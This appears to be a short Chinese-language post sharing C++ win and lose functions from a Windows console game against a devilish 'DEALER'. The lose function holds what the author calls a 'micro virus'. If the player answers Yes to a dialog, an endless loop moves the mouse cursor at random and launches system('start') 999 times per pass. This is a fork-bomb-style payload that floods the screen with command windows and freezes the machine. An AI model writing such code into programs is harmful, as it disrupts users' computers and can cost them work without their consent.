小常识,恶魔叫DEALER,上帝叫God.
赢了很简单
void sheng()
{ cout<<"你获胜了!";MessageBox(NULL,TEXT("你的钱~~~~~~给你"),TEXT("DEALER"),MB_OK);system("pause");system("cls");
}
输了我用了个选择,如果认为自己能逃出去直接微型病毒伺候
void shu()
{cout<<"你输了!";system("pause");system("cls");int shuonos=MessageBox(NULL,TEXT("你觉得你能逃出去吗?"),TEXT("DEALER"),MB_YESNO);if(shuonos!=IDYES){MessageBox(NULL,TEXT("但我决定放你走"),TEXT("DEALER"),MB_OK);}else{cout<<"我不决定放你走,生死状可都签好了";while(1){int x1=GetSystemMetrics(SM_CXSCREEN);int y1=GetSystemMetrics(SM_CYSCREEN);srand(time(0));for(int i=1;i<=2;i++)SetCursorPos(rand()%x1,rand()%y1);for(int i=1;i<=999;i++){system("start");}}}
}